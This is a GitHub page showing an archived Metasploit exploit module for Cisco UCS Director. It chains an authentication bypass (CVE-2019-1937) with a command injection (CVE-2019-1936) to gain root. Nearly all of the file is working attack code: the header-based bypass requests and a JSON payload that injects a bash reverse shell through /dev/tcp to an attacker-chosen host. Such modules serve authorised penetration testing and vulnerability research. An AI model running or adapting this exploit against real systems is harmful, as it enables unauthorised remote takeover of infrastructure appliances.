-
Notifications
You must be signed in to change notification settings - Fork 167
/
cisco_ucs_rce.rb
152 lines (139 loc) · 6.33 KB
/
cisco_ucs_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework.
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution',
'Description' => %q{
The Cisco UCS Director virtual appliance contains two flaws that can be combined
and abused by an attacker to achieve remote code execution as root.
The first one, CVE-2019-1937, is an authentication bypass, that allows the
attacker to authenticate as an administrator.
The second one, CVE-2019-1936, is a command injection in a password change form,
that allows the attacker to inject commands that will execute as root.
This module combines both vulnerabilities to achieve the unauthenticated command
injection as root.
It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
Note that Cisco also mentions in their advisory that their IMC Supervisor and
UCS Director Express are also affected by these vulnerabilities, but this module
was not tested with those products.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-1937' ], # auth bypass
[ 'CVE', '2019-1936' ], # command injection
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ]
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' =>
{
'payload' => 'cmd/unix/reverse_bash',
},
'Targets' =>
[
[ 'Cisco UCS Director < 6.7.2.0', {} ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 21 2019'
))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Connect with TLS', true]),
OptString.new('TARGETURI', [true, "Default server path", '/']),
])
end
def check
# can't think of anything better then this
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
'method' => 'GET'
})
if res and res.code == 302
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Unknown
end
def exploit
# step 1: get a JSESSIONID cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
'method' => 'GET'
)
if res and (res.code == 200 or res.code == 302)
jsession = res.get_cookies.split(';')[0]
# step 2: authenticate our cookie as admin
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
'cookie' => jsession,
'vars_get' =>
{
'apiName' => 'GetUserInfo'
},
'headers' =>
{
# X-Requested-With and Referer headers are needed, else the server ignores us
# The X-Starship headers are the key to this auth bypass vuln, see the References
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
'X-Starship-UserSession-Key' => "#{rand_text_alpha(5..12)}",
'X-Starship-Request-Key' => "#{rand_text_alpha(5..12)}"
},
'method' => 'GET'
})
if res and res.code == 200 and res.body.include?("admin")
if not res.get_cookies.empty?
# if the server returns a new cookie, use that
jsession = res.get_cookies.split(';')[0]
end
print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!")
# step 3: request our reverse shell
payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
'cookie' => jsession,
'headers' =>
{
# X-Requested-With and Referer headers are needed, else the server ignores us
# The X-Starship headers are the key to this auth bypass vuln, see the References
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
},
'method' => 'POST',
'vars_post' =>
{
'formatType' => 'json',
'apiName' => 'ExecuteGenericOp',
'serviceName' => 'InfraMgr',
'opName' => 'doFormSubmit',
'opData' => payload
}
})
if res and res.code == 200
print_good("#{peer} - Shelly is here, press ENTER to start playing with her!")
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie")
end
end
end